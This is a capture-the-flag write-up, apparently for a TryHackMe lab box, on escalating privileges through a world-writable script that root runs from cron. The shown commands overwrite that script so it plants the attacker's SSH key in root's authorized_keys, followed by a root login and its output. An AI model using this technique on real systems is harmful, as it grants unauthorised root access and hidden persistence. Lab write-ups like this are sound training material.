Thompson_Privilege_Escalation

File Write

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A root cronjob process is executing a file, /home/jack/id.sh, periodically. The file has weak permission bits set that allows anyone to write to it

tomcat@ubuntu:/home/jack$ echo -e '#!/bin/bash\nid > test.txt\nmkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys' | tee ./id.sh

Creating an SSH directory under the root account and write Kali’s SSH public key to the authorized_keys file

tomcat@ubuntu:/home/jack$ cat id.sh
#!/bin/bash
id > test.txt
mkdir -p /root/.ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali" > /root/.ssh/authorized_keys

Confirmed. Now, I just need to wait until the cronjob executes the id.sh file

┌──(kali㉿kali)-[~/archive/thm/thompson]
└─$ ssh root@$IP -i ~/.ssh/id_ed25519
Enter passphrase for key '/home/kali/.ssh/id_ed25519': 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
root@ubuntu:~# whoami
root
root@ubuntu:~# hostname
ubuntu
root@ubuntu:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:06:04:b4:07:01 brd ff:ff:ff:ff:ff:ff
    inet 10.10.206.196/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::6:4ff:feb4:701/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise